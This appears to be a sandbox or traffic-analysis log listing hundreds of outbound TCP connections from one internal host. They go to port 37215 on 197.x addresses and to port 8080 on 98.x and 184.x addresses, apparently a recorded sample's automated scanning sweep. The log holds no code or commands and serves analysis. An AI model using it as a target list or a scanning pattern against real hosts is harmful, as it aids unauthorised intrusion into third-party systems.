Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.220.96.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.110.105.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.54.80.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.218.197.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.237.186.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.174.28.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.198.210.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.244.23.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.167.215.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.221.65.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.117.50.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.40.80.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.95.36.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.118.125.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.167.136.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.102.44.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.23.42.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.219.31.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.95.228.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.27.174.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.163.85.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.13.239.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.189.228.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.29.122.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.0.35.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.221.64.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.74.67.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.108.83.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.254.216.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.11.246.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.195.59.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.223.13.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.244.98.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.136.13.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.231.212.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.55.174.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.157.13.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.198.72.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.212.174.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.69.191.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.200.177.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.5.17.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.20.203.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.0.105.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.252.158.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.153.48.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.101.225.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.131.190.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.229.76.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.103.67.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.97.63.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.89.59.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.25.38.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.23.255.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.150.11.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.129.170.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.0.165.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.71.230.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.26.156.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.247.225.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.240.98.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.206.192.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.91.88.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.11.117.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.176.131.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.2.13.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.82.153.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.222.144.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.172.65.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.106.71.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.226.134.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.93.135.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.178.164.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.53.91.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.12.108.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.64.139.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.162.215.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.188.175.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.203.175.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.222.133.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.173.219.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.186.9.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.223.130.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.14.67.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.131.7.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.231.116.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.144.203.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.27.147.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.153.93.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.229.93.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.41.119.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.115.100.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.157.27.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.12.3.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.58.165.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.254.219.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.151.5.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.186.175.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.61.21.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.62.103.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.98.199.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.151.84.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.245.91.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.221.34.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.57.152.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.98.68.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.221.235.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.30.23.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.45.223.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.50.101.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.10.168.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.8.44.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.226.120.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.168.183.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.2.171.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.48.235.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.136.1.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.79.184.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.83.191.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.78.27.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.47.236.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.177.11.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.206.213.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.8.86.186:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.175.46.119:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.144.3.145:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.222.63.71:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.156.97.131:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.102.154.166:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.143.18.196:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.85.107.246:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.150.92.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.186.161.52:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.57.132.169:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.161.81.92:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.73.98.121:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.236.22.55:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.37.49.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.100.87.63:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.212.55.110:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.239.117.198:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.20.44.67:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.214.25.250:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.99.142.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.250.92.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.165.89.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.225.53.193:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.70.222.90:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.123.206.178:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.58.8.127:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.252.172.125:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.9.135.46:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.24.222.98:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.173.134.50:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.58.55.112:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.38.126.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.136.136.93:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.91.230.164:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.219.154.7:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.55.16.216:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.15.114.60:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.141.82.127:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.85.76.88:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.7.204.244:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.24.176.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.135.229.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.51.164.210:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.249.61.191:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.228.90.53:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.123.78.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.74.109.75:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.2.49.23:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.67.67.60:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.37.134.55:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.3.129.105:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.142.73.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.28.169.82:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.191.160.124:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.138.92.159:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.190.242.190:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.105.31.115:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.60.87.195:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.246.203.194:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.20.150.133:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.12.22.123:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.143.115.26:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.163.213.229:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.213.89.213:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.221.235.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.88.245.141:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.136.80.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.118.140.199:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.11.122.110:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.88.47.214:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.183.195.1:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.126.205.81:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.88.24.2:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.19.128.141:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.40.190.155:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.175.213.131:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.187.223.122:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.129.210.82:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.158.72.230:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.121.159.43:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.57.246.131:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.59.103.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.161.83.179:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.49.81.248:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.114.27.57:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.36.28.186:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.28.115.26:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.252.177.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.101.74.196:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.104.213.158:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.31.153.22:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.91.207.234:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.143.200.98:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.147.21.13:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.162.240.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.221.203.194:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.39.91.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.106.254.0:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.234.55.161:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.191.194.110:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.7.79.54:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.232.196.97:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.255.157.167:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.145.233.246:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.252.16.76:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.61.21.82:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.113.219.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.216.31.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.229.25.154:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.19.68.119:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.139.5.65:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.214.87.103:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.126.51.216:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.88.164.255:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.26.70.35:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.201.3.209:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.211.245.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.38.239.18:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.222.162.160:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.124.207.238:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.136.180.233:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.175.147.186:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.237.111.8:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.233.171.139:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.226.154.55:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.118.188.80:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.117.182.25:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.219.53.38:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.75.109.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.140.116.253:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.104.245.34:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.5.252.43:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.117.216.180:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.198.248.84:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.181.61.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.42.84.43:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.69.137.215:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.6.219.7:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.47.184.166:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.55.112.175:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.67.195.123:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.116.36.87:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.236.210.167:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.45.207.139:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.6.5.203:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.251.161.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.155.248.32:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.187.217.6:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.61.171.123:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.60.161.48:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.157.71.227:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.225.204.150:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.14.159.87:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.83.22.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.25.79.105:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.233.87.193:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.66.129.34:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.129.196.209:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.220.175.229:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.244.19.51:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.202.10.89:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.136.249.24:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.230.220.221:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.207.27.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.117.165.14:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.96.123.42:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.3.253.201:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.252.23.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.79.178.90:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.89.215.101:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.105.175.128:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.253.131.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.117.187.19:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.31.246.136:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.75.40.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.35.92.196:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.111.254.190:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.126.197.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.167.248.15:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.32.165.157:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.135.174.19:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.19.232.239:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.10.227.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.151.186.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.209.83.252:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.15.131.44:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.240.55.221:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.101.58.6:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.59.104.149:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.106.23.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.13.100.113:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.247.123.122:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.217.163.210:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.206.117.81:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.70.63.99:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.53.96.9:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.253.63.91:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.27.61.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.174.8.226:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.13.119.231:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.50.20.93:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.64.51.69:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.68.206.13:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.108.137.211:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.61.157.30:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.219.180.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.160.16.0:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.98.235.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.24.148.253:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.130.65.120:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.16.54.183:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.157.117.159:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.189.234.172:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.143.213.62:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.127.234.235:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.70.98.115:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.58.213.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.104.180.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.178.87.41:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.27.98.101:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.212.137.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.64.157.107:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.154.110.57:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.44.171.58:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.81.117.53:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.204.239.7:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.154.140.38:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.241.104.230:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.1.138.244:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.230.171.179:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.177.242.110:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.5.154.127:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.148.83.243:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.28.57.2:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.86.52.246:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.243.100.196:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.168.136.99:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.183.176.81:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.102.80.177:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.134.208.167:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.127.5.68:8080
